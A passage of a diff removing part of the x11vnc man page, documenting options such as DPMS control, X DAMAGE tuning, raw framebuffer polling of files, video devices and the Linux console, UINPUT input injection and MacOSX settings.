-flashes of what is on the screen before the DPMS off
-state is reestablished. For this to work securely
-there would need to be support in the X server to do
-this exactly rather than approximately with DPMS.
-.PP
-\fB-clientdpms\fR
-.IP
-As \fB-forcedpms\fR but only when VNC clients are connected.
-.PP
-\fB-noserverdpms\fR
-.IP
-The UltraVNC ServerInput extension is supported.
-This allows the VNC viewer to click a button that will
-cause the server (x11vnc) to try to disable keyboard
-and mouse input at the physical display and put the
-monitor in dpms powered off state. Use this option to
-skip powering off the monitor.
-.PP
-\fB-noultraext\fR
-.IP
-Disable the following UltraVNC extensions: SingleWindow
-and ServerInput. The others managed by LibVNCServer
-(textchat, 1/n scaling, rfbEncodingUltra) are not.
-.PP
-\fB-chatwindow\fR
-.IP
-Place a local UltraVNC chat window on the X11 display
-that x11vnc is polling. That way the person on the VNC
-viewer-side can chat with the person at the physical
-X11 console. (e.g. helpdesk w/o telephone)
-.IP
-For this to work the SSVNC package (version 1.0.21 or
-later) MUST BE installed on the system where x11vnc runs
-and the 'ssvnc' command must be available in $PATH.
-The ssvncviewer is used as a chat window helper.
-See http://www.karlrunge.com/x11vnc/ssvnc.html
-.IP
-This option implies '-rfbversion 3.6' so as to trick
-UltraVNC viewers, otherwise they assume chat is not
-available. To specify a different rfbversion, place
-it after the \fB-chatwindow\fR option on the cmdline.
-.IP
-See also the remote control 'chaton' and 'chatoff'
-actions. These can also be set from the tkx11vnc GUI.
-.PP
-\fB-noxdamage\fR
-.IP
-Do not use the X DAMAGE extension to detect framebuffer
-changes even if it is available. Use \fB-xdamage\fR if your
-default is to have it off.
-.IP
-x11vnc's use of the DAMAGE extension: 1) significantly
-reduces the load when the screen is not changing much,
-and 2) detects changed areas (small ones by default)
-more quickly.
-.IP
-Currently the DAMAGE extension is overly conservative
-and often reports large areas (e.g. a whole terminal
-or browser window) as damaged even though the actual
-changed region is much smaller (sometimes just a few
-pixels). So heuristics were introduced to skip large
-areas and use the damage rectangles only as "hints"
-for the traditional scanline polling. The following
-tuning parameters are introduced to adjust this
-behavior:
-.PP
-\fB-xd_area\fR \fIA\fR
-.IP
-Set the largest DAMAGE rectangle area \fIA\fR (in
-pixels: width * height) to trust as truly damaged:
-the rectangle will be copied from the framebuffer
-(slow) no matter what. Set to zero to trust *all*
-rectangles. Default: 20000
-.PP
-\fB-xd_mem\fR \fIf\fR
-.IP
-Set how long DAMAGE rectangles should be "remembered",
-\fIf\fR is a floating point number and is in units of the
-scanline repeat cycle time (32 iterations). The default
-(1.0) should give no painting problems. Increase it if
-there are problems or decrease it to live on the edge
-(perhaps useful on a slow machine).
-.PP
-\fB-sigpipe\fR \fIstring\fR
-.IP
-Broken pipe (SIGPIPE) handling. \fIstring\fR can be
-"ignore" or "exit". For "ignore" LibVNCServer
-will handle the abrupt loss of a client and continue,
-for "exit" x11vnc will cleanup and exit at the 1st
-broken connection.
-.IP
-This option is not really needed since LibVNCServer
-is doing the correct thing now for quite some time.
-However, for convenience you can use it to ignore other
-signals, e.g. "\fB-sigpipe\fR \fIignore:HUP,INT,TERM\fR" in case
-that would be useful for some sort of application.
-You can also put "exit:.." in the list to have x11vnc
-cleanup on the listed signals. "\fB-sig\fR" is an alias
-for this option if you don't like the 'pipe'. Example:
-\fB-sig\fR ignore:INT,TERM,exit:USR1
-.PP
-\fB-threads,\fR \fB-nothreads\fR
-.IP
-Whether or not to use the threaded LibVNCServer
-algorithm [rfbRunEventLoop] if libpthread is available.
-In this mode new threads (one for input and one
-for output) are created to handle each new client.
-Default: \fB-nothreads.\fR
-.IP
-Thread stability is much improved in version 0.9.8.
-.IP
-Multiple clients in threaded mode should be stable
-for the ZRLE encoding on all platforms. The Tight and
-Zlib encodings are currently only stable on Linux for
-multiple clients. Compile with \fB-DTLS=__thread\fR if your
-OS and compiler and linker support it.
-.IP
-For resizes (randr, etc.) set this env. var. to the number
-of milliseconds to sleep: X11VNC_THREADS_NEW_FB_SLEEP
-at various places in the do_new_fb() action. This is to
-let various activities settle. Default is about 500ms.
-.IP
-Multiple clients in threaded mode could yield better
-performance for 'class-room' broadcasting usage; also in
-\fB-appshare\fR broadcast mode. See also the \fB-reflect\fR option.
-.PP
-\fB-fs\fR \fIf\fR
-.IP
-If the fraction of changed tiles in a poll is greater
-than f, the whole screen is updated. Default: 0.75
-.PP
-\fB-gaps\fR \fIn\fR
-.IP
-Heuristic to fill in gaps in rows or cols of n or
-less tiles. Used to improve text paging. Default: 4
-.PP
-\fB-grow\fR \fIn\fR
-.IP
-Heuristic to grow islands of changed tiles n or wider
-by checking the tile near the boundary. Default: 3
-.PP
-\fB-fuzz\fR \fIn\fR
-.IP
-Tolerance in pixels to mark a tiles edges as changed.
-Default: 2
-.PP
-\fB-debug_tiles\fR
-.IP
-Print debugging output for tiles, fb updates, etc.
-.PP
-\fB-snapfb\fR
-.IP
-Instead of polling the X display framebuffer (fb)
-for changes, periodically copy all of X display fb
-into main memory and examine that copy for changes.
-(This setting also applies for non-X \fB-rawfb\fR modes).
-Under some circumstances this will improve interactive
-response, or at least make things look smoother, but in
-others (most!) it will make the response worse. If the
-video h/w fb is such that reading small tiles is very
-slow this mode could help. To keep the "framerate"
-up the screen size x bpp cannot be too large. Note that
-this mode is very wasteful of memory I/O resources
-(it makes full screen copies even if nothing changes).
-It may be of use in video capture-like applications,
-webcams, or where window tearing is a problem.
-.PP
-\fB-rawfb\fR \fIstring\fR
-.IP
-Instead of polling X, poll the memory object specified
-in \fIstring\fR.
-.IP
-For file polling, to memory map
-.IR mmap (2)
-a file use:
-"map:/path/to/a/file@WxHxB", with framebuffer Width,
-Height, and Bits per pixel. "mmap:..." is the
-same.
-.IP
-If there is trouble with mmap, use "file:/..."
-for slower
-.IR lseek (2)
-based reading.
-.IP
-Use "snap:..." to imply \fB-snapfb\fR mode and the "file:"
-access (this is for unseekable devices that only provide
-the fb all at once, e.g. a video camera provides the
-whole frame).
-.IP
-For shared memory segments string is of the form:
-"shm:N@WxHxB" which specifies a shmid N and with
-WxHxB as above. See
-.IR shmat (1)
-and
-.IR ipcs (1)
-.IP
-If you do not supply a type "map" is assumed if
-the file exists (see the next paragraphs for some
-exceptions to this.)
-.IP
-If string is "setup:cmd", then the command "cmd"
-is run and the first line from it is read and used
-as \fIstring\fR. This allows initializing the device,
-determining WxHxB, etc. These are often done as root
-so take care.
-.IP
-If the string begins with "video", see the VIDEO4LINUX
-discussion below where the device may be queried for
-(and possibly set) the framebuffer parameters.
-.IP
-If the string begins with "console", "/dev/fb",
-"fb", or "vt", see the LINUX CONSOLE discussion
-below where the framebuffer device is opened and
-keystrokes (and possibly mouse events) are inserted
-into the console.
-.IP
-If the string begins with "vnc", see the VNC HOST
-discussion below where the framebuffer is taken as that
-of another remote VNC server.
-.IP
-Optional suffixes are ":R/G/B" and "+O" to specify
-red, green, and blue masks (in hex) and an offset into
-the memory object. If the masks are not provided x11vnc
-guesses them based on the bpp (if the colors look wrong,
-you need to provide the masks.)
-.IP
-Another optional suffix is the Bytes Per Line which in
-some cases is not WxB/8. Specify it as WxHxB-BPL
-e.g. 800x600x16-2048. This could be a normal width
-1024 at 16bpp fb, but only width 800 shows up.
-.IP
-So the full format is: mode:file@WxHxB:R/G/B+O-BPL
-.IP
-Examples:
-.IP
-\fB-rawfb\fR shm:210337933@800x600x32:ff/ff00/ff0000
-.IP
-\fB-rawfb\fR map:/dev/fb0@1024x768x32
-.IP
-\fB-rawfb\fR map:/tmp/Xvfb_screen0@640x480x8+3232
-.IP
-\fB-rawfb\fR file:/tmp/my.pnm@250x200x24+37
-.IP
-\fB-rawfb\fR file:/dev/urandom@128x128x8
-\fB-rawfb\fR snap:/dev/video0@320x240x24 \fB-24to32\fR
-\fB-rawfb\fR video0
-\fB-rawfb\fR video \fB-pipeinput\fR VID
-\fB-rawfb\fR console
-\fB-rawfb\fR vt2
-\fB-rawfb\fR vnc:somehost:0
-.IP
-(see
-.IR ipcs (1)
-and
-.IR fbset (1)
-for the first two examples)
-.IP
-In general all user input is discarded by default (see
-the \fB-pipeinput\fR option for how to use a helper program
-to insert). Most of the X11 (screen, keyboard, mouse)
-options do not make sense and many will cause this
-mode to crash, so please think twice before setting or
-changing them in a running x11vnc.
-.IP
-If you DO NOT want x11vnc to close the X DISPLAY in
-rawfb mode, prepend a "+" e.g. +file:/dev/fb0...
-Keeping the display open enables the default
-remote-control channel, which could be useful.
-Alternatively, if you specify \fB-noviewonly,\fR then the
-mouse and keyboard input are STILL sent to the X
-display, this usage should be very rare, i.e. doing
-something strange with /dev/fb0.
-.IP
-If the device is not "seekable" (e.g. webcam) try
-reading it all at once in full snaps via the "snap:"
-mode (note: this is a resource hog). If you are using
-file: or map: AND the device needs to be reopened for
-*every* snapfb snapshot, set the environment variable:
-SNAPFB_RAWFB_RESET=1 as well.
-.IP
-If you want x11vnc to dynamically transform a 24bpp
-rawfb to 32bpp (note that this will be slower) also
-supply the \fB-24to32\fR option. This would be useful for,
-say, a video camera that delivers the pixel data as
-24bpp packed RGB. This is the default under "video"
-mode if the bpp is 24.
-.IP
-Normally the bits per pixel, B, is 8, 16, or 32 (or
-rarely 24), however there is also some support for
-B < 8 (e.g. old graphics displays 4 bpp or 1 bpp).
-In this case you certainly must supply the masks as
-well: WxHxB:R/G/B. The pixels will be padded out to
-8 bpp using depth 8 truecolor. The scheme currently
-does not work with snap fb (ask if interested.) B=1
-monochrome example: file:/dev/urandom@128x128x1:1/1/1
-Some other like this are 128x128x2:3/3/3 128x128x4:7/7/7
-.IP
-For B < 8 framebuffers you can also set the env. var
-RAWFB_CGA=1 to try a CGA mapping for B=4 (e.g. linux
-vga16fb driver.) Note with low bpp and/or resolution
-VGA and VGA16 modes on the Linux console one's attempt
-to export them via x11vnc can often be thwarted due to
-special color palettes, pixel packings, and even video
-painting buffering. OTOH, often experimenting with the
-RGB masks can yield something recognizable.
-.IP
-VIDEO4LINUX: on Linux some attempt is made to handle
-video devices (webcams or TV tuners) automatically.
-The idea is the WxHxB will be extracted from the
-device itself. So if you do not supply "@WxHxB...
-parameters x11vnc will try to determine them. It first
-tries the v4l API if that support has been compiled in.
-Otherwise it will run the v4l-
-.IR info (1)
-external program
-if it is available.
-.IP
-The simplest examples are "\fB-rawfb\fR \fIvideo\fR" and "-rawfb
-video1" which imply the device file /dev/video and
-/dev/video1, respectively. You can also supply the
-/dev if you like, e.g. "\fB-rawfb\fR \fI/dev/video0\fR"
-.IP
-Since the video capture device framebuffer usually
-changes continuously (e.g. brightness fluctuations),
-you may want to use the \fB-wait,\fR \fB-slow_fb,\fR or \fB-defer\fR
-options to lower the "framerate" to cut down on
-network VNC traffic.
-.IP
-A more sophisticated video device scheme allows
-initializing the device's settings using:
-.IP
-\fB-rawfb\fR video:<settings>
-.IP
-The prefix could also be, as above, e.g. "video1:" to
-specify the device file. The v4l API must be available
-for this to work. Otherwise, you will need to try
-to initialize the device with an external program,
-e.g. xawtv, spcaview, and hope they persist when x11vnc
-re-opens the device.
-.IP
-<settings> is a comma separated list of key=value pairs.
-The device's brightness, color, contrast, and hue can
-be set to percentages, e.g. br=80,co=50,cn=44,hu=60.
-.IP
-The device filename can be set too if needed (if it
-does not start with "video"), e.g. fn=/dev/qcam.
-.IP
-The width, height and bpp of the framebuffer can be
-set via, e.g., w=160,h=120,bpp=16.
-.IP
-Related to the bpp above, the pixel format can be set
-via the fmt=XXX, where XXX can be one of: GREY, HI240,
-RGB555, RGB565, RGB24, and RGB32 (with bpp 8, 8, 16, 16,
-24, and 32 respectively). See http://www.linuxtv.org
-for more info (V4L api).
-.IP
-For TV/rf tuner cards one can set the tuning mode
-via tun=XXX where XXX can be one of PAL, NTSC, SECAM,
-or AUTO.
-.IP
-One can switch the input channel by the inp=XXX setting,
-where XXX is the name of the input channel (Television,
-Composite1, S-Video, etc). Use the name that is in the
-information about the device that is printed at startup.
-.IP
-For input channels with tuners (e.g. Television) one
-can change which station is selected by the sta=XXX
-setting. XXX is the station number. Currently only
-the ntsc-cable-us (US cable) channels are built into
-x11vnc. See the \fB-freqtab\fR option below to supply one
-from xawtv. If XXX is greater than 500, then it is
-interpreted as a raw frequency in KHz.
-.IP
-Example:
-.IP
-\fB-rawfb\fR video:br=80,w=320,h=240,fmt=RGB32,tun=NTSC,sta=47
-.IP
-one might need to add inp=Television too for the input
-channel to be TV if the card doesn't come up by default
-in that one.
-.IP
-Note that not all video capture devices will support
-all of the above settings.
-.IP
-See the \fB-pipeinput\fR VID option below for a way to control
-the settings through the VNC Viewer via keystrokes.
-As a shortcut, if the string begins "Video.." instead
-of "video.." then \fB-pipeinput\fR VID is implied.
-.IP
-As above, if you specify a "@WxHxB..." after the
-<settings> string they are used verbatim: the device
-is not queried for the current values. Otherwise the
-device will be queried.
-.IP
-LINUX CONSOLE: The following describes some ways to
-view and possibly interact with the Linux text/graphics
-console (i.e. not X11 XFree86/Xorg)
-.IP
-Note: If the LibVNCServer LinuxVNC program is on your
-system you may want to use that instead of the following
-method because it will be faster and more accurate
-for the Linux text console and includes mouse support.
-There is, however, the basic LinuxVNC functionality in
-x11vnc if you replace "console" with "vt" in the
-examples below.
-.IP
-If the rawfb string begins with "console" the
-framebuffer device /dev/fb0 is opened and /dev/tty0 is
-opened too. The latter is used to inject keystrokes
-(not all are supported, but the basic ones are).
-You will need to be root to inject keystrokes, but
-not necessarily to open /dev/fb0. /dev/tty0 refers to
-the active VT, to indicate one explicitly, use, e.g.,
-"console2" for /dev/tty2, etc. by indicating the
-specific VT number.
-.IP
-For the Linux framebuffer device, /dev/fb0, (fb1,
-etc) to be enabled the appropriate kernel drivers must
-be loaded. E.g. vesafb or vga16fb and also by setting
-the boot parameter vga=0x301 (or 0x314, 0x317, etc.)
-(The vga=... method is the preferred way; set your
-machines up that way.) Otherwise there will be a
-\'No such device' error. You can also load a Linux
-framebuffer driver specific to your make of video card
-for more functionality. Once the machine is booted one
-can often 'modprobe' the fb driver as root to obtain
-a framebuffer device.
-.IP
-If you cannot get /dev/fb0 working on Linux, try
-using the LinuxVNC emulation mode by "\fB-rawfb\fR \fIvtN\fR"
-where N = 1, ... 6 is the Linux Virtual Terminal (aka
-virtual console) you wish to view, e.g. "\fB-rawfb\fR \fIvt2\fR".
-Unlike /dev/fb mode, it need not be the active Virtual
-Terminal. Note that this mode can only show text and
-not graphics. x11vnc polls the text in /dev/vcsaN
-.IP
-Set the env. var. RAWFB_VCSA_BW=1 to disable colors in
-the "vtN" mode (i.e. black and white only.) If you
-do not prefer the default 16bpp set RAWFB_VCSA_BPP to
-8 or 32. If you need to tweak the rawfb parameters by
-using the 'console_guess' string printed at startup,
-be sure to indicate the snap: method.
-.IP
-uinput: If the Linux version appears to be 2.6
-or later and the "uinput" module appears to be
-present (modprobe uinput), then the uinput method
-will be used instead of /dev/ttyN. uinput allows
-insertion of BOTH keystrokes and mouse input and so it
-preferred when accessing graphical (e.g. QT-embedded)
-linux console apps. It also provides more accurate
-keystroke insertion. See \fB-pipeinput\fR UINPUT below for
-more information on this mode; you will have to use
-\fB-pipeinput\fR if you want to tweak any UINPUT parameters.
-You may also want to also use the \fB-nodragging\fR and
-\fB-cursor\fR none options. Use "console0", etc or
-\fB-pipeinput\fR CONSOLE to force the /dev/ttyN method.
-.IP
-Note you can change the Linux VT remotely using the
-.IR chvt (1)
-command to make the one you want be the active
-one (e.g. 'chvt 3'). Sometimes switching out and back
-corrects the framebuffer's graphics state. For the
-"\fB-rawfb\fR \fIvtN\fR" mode there is no need to switch the VT's.
-.IP
-To skip input injecting entirely use "consolex"
-or "vtx".
-.IP
-The string "/dev/fb0" (1, etc.) can be used instead
-of "console". This can be used to specify a different
-framebuffer device, e.g. /dev/fb1. As a shortcut the
-"/dev/" can be dropped. If the name is something
-nonstandard, use "console:/dev/foofb"
-.IP
-If you do not want x11vnc to guess the framebuffer's
-WxHxB and masks automatically (sometimes the kernel
-gives incorrect information), specify them with a @WxHxB
-(and optional :R/G/B masks) at the end of the string.
-.IP
-Examples:
-\fB-rawfb\fR console
-\fB-rawfb\fR /dev/fb0 (same)
-\fB-rawfb\fR console3 (force /dev/tty3)
-\fB-rawfb\fR consolex (no keystrokes or mouse)
-\fB-rawfb\fR console:/dev/nonstd
-\fB-rawfb\fR console \fB-pipeinput\fR UINPUT:accel=4.0
-\fB-rawfb\fR vt3 (/dev/tty3 w/o /dev/fb0)
-.IP
-VNC HOST: if the \fB-rawfb\fR string is of the form
-"vnc:host:N" then the VNC display "N" on the remote
-VNC server "host" is connected to (i.e. x11vnc acts as
-a VNC client itself) and that framebuffer is exported.
-.IP
-This mode is really only of use if you are trying
-to improve performance in the case of many (e.g. >
-10) simultaneous VNC viewers, and you try a divide
-and conquer scheme to reduce bandwidth and improve
-responsiveness. (However, another user found this mode
-useful to export a demo display through a slow link:
-then multiple demo viewers connected to the reflecting
-x11vnc on the fast side of the link, and so avoided
-all of the demo viewers going through the slow link.)
-.IP
-For example, if there will be 64 simultaneous VNC
-viewers this can lead to a lot of redundant VNC traffic
-to and from the server host:N, extra CPU usage,
-and all viewers response can be reduced by having
-to wait for writes to the slowest client to finish.
-However, if you set up 8 reflectors/repeaters started
-with option \fB-rawfb\fR vnc:host:N, then there are only
-8 connections to host:N. Each repeater then handles
-8 vnc viewer connections thereby spreading the load
-around. In classroom broadcast usage, try to put the
-repeaters on different switches. This mode is the same
-as \fB-reflect\fR host:N. Replace "host:N" by "listen"
-or "listen:port" for a reverse connection.
-.IP
-Overall performance will not be as good as a single
-direct connection because, among other things,
-there is an additional level of framebuffer polling
-and pointer motion can still induce many changes per
-second that must be propagated. Tip: if the remote VNC
-is x11vnc doing wireframing, or an X display that does
-wireframing that gives much better response than opaque
-window dragging. Consider the \fB-nodragging\fR option if
-the problem is severe.
-.IP
-The env. var. X11VNC_REFLECT_PASSWORD can be set to
-the password needed to log into the vnc host server, or
-to "file:path_to_file" to indicate a file containing
-the password as its first line.
-.IP
-To set the pixel format that x11vnc requests as a VNC
-CLIENT set the env. vars: X11VNC_REFLECT_bitsPerSample
-X11VNC_REFLECT_samplesPerPixel, and
-X11VNC_REFLECT_bytesPerPixel; the defaults are 8, 3, 4.
-2, 3, 1 would give a low color mode. See the function
-rfbGetClient() in libvncclient for more info.
-.IP
-The VNC HOST mode implies \fB-shared.\fR Use \fB-noshared\fR as
-a subsequent cmdline option to disable sharing.
-.PP
-\fB-freqtab\fR \fIfile\fR
-.IP
-For use with "\fB-rawfb\fR \fIvideo\fR" for TV tuner devices to
-specify station frequencies. Instead of using the built
-in ntsc-cable-us mapping of station number to frequency,
-use the data in file. For stations that are not
-numeric, e.g. SE20, they are placed above the highest
-numbered station in the order they are found. Example:
-"\fB-freqtab\fR \fI/usr/X11R6/share/xawtv/europe-west.list\fR"
-You can make your own freqtab by copying the xawtv
-format.
-.PP
-\fB-pipeinput\fR \fIcmd\fR
-.IP
-This option lets you supply an external command in
-\fIcmd\fR that x11vnc will pipe all of the user input
-events to in a simple format. In \fB-pipeinput\fR mode by
-default x11vnc will not process any of the user input
-events. If you prefix \fIcmd\fR with "tee:" it will
-both send them to the pipe command and process them.
-For a description of the format run "-pipeinput
-tee:/bin/cat". Another prefix is "reopen" which
-means to reopen pipe if it exits. Separate multiple
-prefixes with commas.
-.IP
-In combination with \fB-rawfb\fR one might be able to
-do amusing things (e.g. control non-X devices).
-To facilitate this, if \fB-rawfb\fR is in effect then the
-value is stored in X11VNC_RAWFB_STR for the pipe command
-to use if it wants. Do 'env | grep X11VNC' for more.
-.IP
-Built-in pipeinput modes (no external program required):
-.IP
-If cmd is "VID" and you are using the \fB-rawfb\fR for a
-video capture device, then an internal list of keyboard
-mappings is used to set parameters of the video.
-The mappings are:
-.IP
-"B" and "b" adjust the brightness up and down.
-"H" and "h" adjust the hue.
-"C" and "c" adjust the colour.
-"N" and "n" adjust the contrast.
-"S" and "s" adjust the size of the capture screen.
-"I" and "i" cycle through input channels.
-Up and Down arrows adjust the station (if a tuner)
-F1, F2, ..., F6 will switch the video capture pixel
-format to HI240, RGB565, RGB24, RGB32, RGB555, and
-GREY respectively. See \fB-rawfb\fR video for details.
-.IP
-If cmd is "CONSOLE" or "CONSOLEn" where n
-is a Linux console number, then the linux console
-keystroke insertion to /dev/ttyN (see \fB-rawfb\fR console)
-is performed.
-.IP
-If cmd begins with "UINPUT" then the Linux uinput
-module is used to insert both keystroke and mouse events
-to the Linux console (see \fB-rawfb\fR above). This usually
-is the /dev/input/uinput device file (you may need to
-create it with "mknod /dev/input/uinput c 10 223"
-and insert the module with "modprobe uinput".
-.IP
-The UINPUT mode currently only does US keyboards (a
-scan code option may be added), and not all keysyms
-are supported. But it is probably more accurate than
-the "CONSOLE" method.
-.IP
-You may want to use the options \fB-cursor\fR none and
-\fB-nodragging\fR in this mode.
-.IP
-Additional tuning options may be supplied via:
-UINPUT:opt1,opt2,... (a comma separated list). If an
-option begins with "/" it is taken as the uinput
-device file.
-.IP
-Which uinput is injected can be controlled by an option
-string made of the characters "K", "M", and "B"
-(see the \fB-input\fR option), e.g. "KM" allows keystroke
-and motion but not button clicks.
-.IP
-A UINPUT option of the form: accel=f, or accel=fx+fy
-sets the mouse motion "acceleration". This is used
-to correct raw mouse relative motion into how much the
-application cursor moves (x11vnc has no control over,
-or knowledge of how the windowing application interprets
-the raw mouse motions). Typically the acceleration
-for an X display is 2 (see xset "m" option). "f"
-is a floating point number, e.g. 3.0. Use "fx+fy"
-if you need to supply different corrections for x and y.
-.IP
-Note: the default acceleration is 2.0 since it seems
-both X and qt-embedded often (but not always) use
-this value.
-.IP
-Even with a correct accel setting the mouse position
-will get out of sync (probably due to a mouse
-"threshold" setting where the acceleration doe not
-apply, set
-.IR xset (1)
-). The option reset=N sets the
-number of ms (default 150) after which the cursor is
-attempted to be reset (by forcing the mouse to (0,
-0) via small increments and then back out to (x, y)
-in 1 jump), This correction seems to be needed but can
-cause jerkiness or unexpected behavior with menus, etc.
-Use reset=0 to disable.
-.IP
-If you set the env. var X11VNC_UINPUT_THRESHOLDS then
-the thresh=n mode will be enabled. It is currently
-not working well. If |dx| <= thresh and |dy| < thresh
-no acceleration is applied. Use "thresh=+n" |dx| +
-|dy| < thresh to be used instead (X11?)
-.IP
-Example:
-\fB-pipeinput\fR UINPUT:accel=4.0 \fB-cursor\fR none
-.IP
-If the uinput device has an absolute pointer (as opposed
-to a normal mouse that is a relative pointer) you can
-specify the option "abs". Note that a touchpad
-on a laptop is an absolute device to some degree.
-This (usually) avoids all the problems with mouse
-acceleration. If x11vnc has trouble deducing the
-size of the device, use "abs=WxH". Furthermore,
-if the device is a touchscreen (assumed to have an
-absolute pointer) use "touch" or "touch=WxH".
-For touchscreens, when a mouse button is pressed,
-a pressure increase is injected, and when the button
-is released a pressure of zero is injected.
-.IP
-If touch has been set, use "touch_always=1" to
-indicate whenever the mouse moves with no button
-pressed, a touch event of zero pressure should be
-sent anyway. Also use "btn_touch=1" to indicate a
-BTN_TOUCH keystroke press or release should be sent
-instead of a pressure change. Set "dragskip=n" to
-skip n dragged mouse touches (with pressure applied)
-before injecting one. To indicate the pressure that
-should be sent when there is a button click for a
-touchscreen device, specify pressure=n, e.g. n=5. The
-default is n=1.
-.IP
-If a touch screen is being used ("touch" above)
-and it is having its input processed by tslib, you can
-specify the tslib calibration file via tslib_cal=<file>.
-For example, tslib_cal=/etc/pointercal. To get accurate
-or even usable positioning this is required when tslib
-is in use.
-.IP
-The Linux uinput mechanism can be bypassed and one can
-write input events DIRECTLY to the devices instead.
-To do this, specify one or more of the following
-for the input classes: direct_rel=<device>
-direct_abs=<device> direct_btn=<device> or
-direct_key=<device>. The <device> file is usually
-something like /dev/input/event1 but you can specify
-any device file or pipe. You must specify each one
-of the above classes even if they correspond to the
-same device file (rel/abs and btn are often the same.)
-Look at the file /proc/bus/input/devices to get an idea
-what is available and the device filenames. Note:
-The /dev/input/mouse* devices do not seem to work,
-use the corresponding /dev/input/event* file instead.
-Any input class not directly specified as above will be
-handled via the uinput mechanism. To disable creating a
-uinput device (and thereby discarding unhandled input),
-specify "nouinput".
-.IP
-Examples:
-.IP
-\fB-pipeinput\fR UINPUT:direct_abs=/dev/input/event1
-.IP
-this was used on a qtmoko Neo freerunner (armel):
-.IP
-\fB-pipeinput\fR UINPUT:touch,tslib_cal=/etc/pointercal,
-direct_abs=/dev/input/event1,nouinput,dragskip=4
-.IP
-(where the long line has been split into two.)
-.IP
-You can set the env. var X11VNC_UINPUT_DEBUG=1 or higher
-to get debugging output for UINPUT mode.
-.PP
-\fB-macnodim\fR
-.IP
-For the native MacOSX server, disable dimming.
-.PP
-\fB-macnosleep\fR
-.IP
-For the native MacOSX server, disable display sleep.
-.PP
-\fB-macnosaver\fR
-.IP
-For the native MacOSX server, disable screensaver.
-.PP
-\fB-macnowait\fR
-.IP
-For the native MacOSX server, do not wait for the
-user to switch back to his display.
-.PP
-\fB-macwheel\fR \fIn\fR
-.IP
-For the native MacOSX server, set the mouse wheel
-speed to n (default 5).
-.PP
-\fB-macnoswap\fR
-.IP
-For the native MacOSX server, do not swap mouse
-buttons 2 and 3.
-.PP
-\fB-macnoresize\fR
-.IP
-For the native MacOSX server, do not resize or reset
-the framebuffer even if it is detected that the screen
-resolution or depth has changed.
-.PP
-\fB-maciconanim\fR \fIn\fR
-.IP
-For the native MacOSX server, set n to the number
-of milliseconds that the window iconify/deiconify
-animation takes. In \fB-ncache\fR mode this value will be
-used to skip the animation if possible. (default 400)
-.PP
-\fB-macmenu\fR
-.IP
-For the native MacOSX server, in \fB-ncache\fR client-side
-caching mode, try to cache pull down menus (not perfect
-because they have animated fades, etc.)
-.PP
-\fB-macuskbd\fR
-.IP
-For the native MacOSX server, use the original
-keystroke insertion code based on a US keyboard.
-.PP
-\fB-macnoopengl\fR
-.IP
-For the native MacOSX server, do not use OpenGL for
-screen capture, but rather use the original, deprecated
-raw memory access method: addr = CGDisplayBaseAddress().
-.PP
-\fB-macnorawfb\fR
-.IP
-For the native MacOSX server, disable the raw memory
-address screen capture method.
-.IP
-MACOSX NOTE: There are some deprecated MacOSX interfaces
-to inject keyboard and mouse events and the raw memory
-access method is deprecated as well (however, OpenGL
-will be preferred if available because it is faster.)
-One can force not using any deprecated interfaces at
-compile time by setting \fB-DX11VNC_MACOSX_NO_DEPRECATED=1\fR
-in CPPFLAGS. Or to turn them off one by one:
-\fB-DX11VNC_MACOSX_NO_DEPRECATED_LOCALEVENTS=1,\fR
-\fB-DX11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS=1\fR or
-\fB-DX11VNC_MACOSX_NO_DEPRECATED_FRAMEBUFFER=1\fR
-At run time, for testing and workarounds, one can
-disable them by using:
-\fB-env\fR X11VNC_MACOSX_NO_DEPRECATED=1
-\fB-env\fR X11VNC_MACOSX_NO_DEPRECATED_LOCALEVENTS=1
-\fB-env\fR X11VNC_MACOSX_NO_DEPRECATED_POSTEVENTS=1 or
-\fB-env\fR X11VNC_MACOSX_NO_DEPRECATED_FRAMEBUFFER=1
-Note: When doing either of these for the mouse input
-not everything works currently, e.g. double clicks and
-wireframing. Also, screen resolution and pixel depth
-changes will not be automatically detected unless the
-deprecated framebuffer interfaces are allowed.
-.IP
-Conversely, if you are compiling on an
-older machine that does not have some of
-the newer interfaces, you may need to specify
-\fB-DX11VNC_MACOSX_NO_CGEVENTCREATESCROLLWHEELEVENT\fR
-\fB-DX11VNC_MACOSX_NO_CGEVENTCREATEMOUSEEVENT\fR or
-\fB-DX11VNC_MACOSX_NO_CGEVENTCREATEKEYBOARDEVENT.\fR Use
-\fB-DX11VNC_MACOSX_USE_GETMAINDEVICE\fR to regain the very
-old QuickDraw GetMainDevice() interface (rare...)
-.PP
-\fB-gui\fR \fI[gui-opts]\fR
-.IP
-Start up a simple tcl/tk gui based on the remote
-control options \fB-remote/-query\fR described below.
-Requires the "wish" program to be installed on the
-machine. "gui-opts" is not required: the default
-is to start up both the full gui and x11vnc with the
-gui showing up on the X display in the environment
-variable DISPLAY.
-.IP
-"gui-opts" can be a comma separated list of items.
-Currently there are these types of items: 1) a gui
-mode, a 2) gui "simplicity", 3) the X display the
-gui should display on, 4) a "tray" or "icon" mode,
-and 5) a gui geometry.
-.IP
-1) The gui mode can be "start", "conn", or "wait"
-"start" is the default mode above and is not required.
-"conn" means do not automatically start up x11vnc,
-but instead just try to connect to an existing x11vnc
-process. "wait" means just start the gui and nothing
-else (you will later instruct the gui to start x11vnc
-or connect to an existing one.)
-.IP
-2) The gui simplicity is off by default (a power-user
-gui with all options is presented) To start with
-something less daunting supply the string "simple"
-("ez" is an alias for this). Once the gui is
-started you can toggle between the two with "Misc ->
-simple_gui".
-.IP
-3) Note the possible confusion regarding the potentially
-two different X displays: x11vnc polls one, but you
-may want the gui to appear on another. For example, if
-you ssh in and x11vnc is not running yet you may want
-the gui to come back to you via your ssh redirected X
-display (e.g. localhost:10).
-.IP
-If you do not specify a gui X display in "gui-opts"
-then the DISPLAY environment variable and \fB-display\fR
-option are tried (in that order). Regarding the x11vnc
-X display the gui will try to communication with, it
-first tries \fB-display\fR and then DISPLAY. For example,
-"x11vnc \fB-display\fR :0 \fB-gui\fR otherhost:0", will remote
-control an x11vnc polling :0 and display the gui on
-otherhost:0 The "tray/icon" mode below reverses this
-preference, preferring to display on the x11vnc display.
-.IP
-4) When "tray" or "icon" is specified, the gui
-presents itself as a small icon with behavior typical
-of a "system tray" or "dock applet". The color
-of the icon indicates status (connected clients) and
-there is also a balloon status. Clicking on the icon
-gives a menu from which properties, etc, can be set and
-the full gui is available under "Advanced". To be
-fully functional, the gui mode should be "start"
-(the default).
-.IP
-Note that tray or icon mode will imply the \fB-forever\fR
-x11vnc option (if the x11vnc server is started along
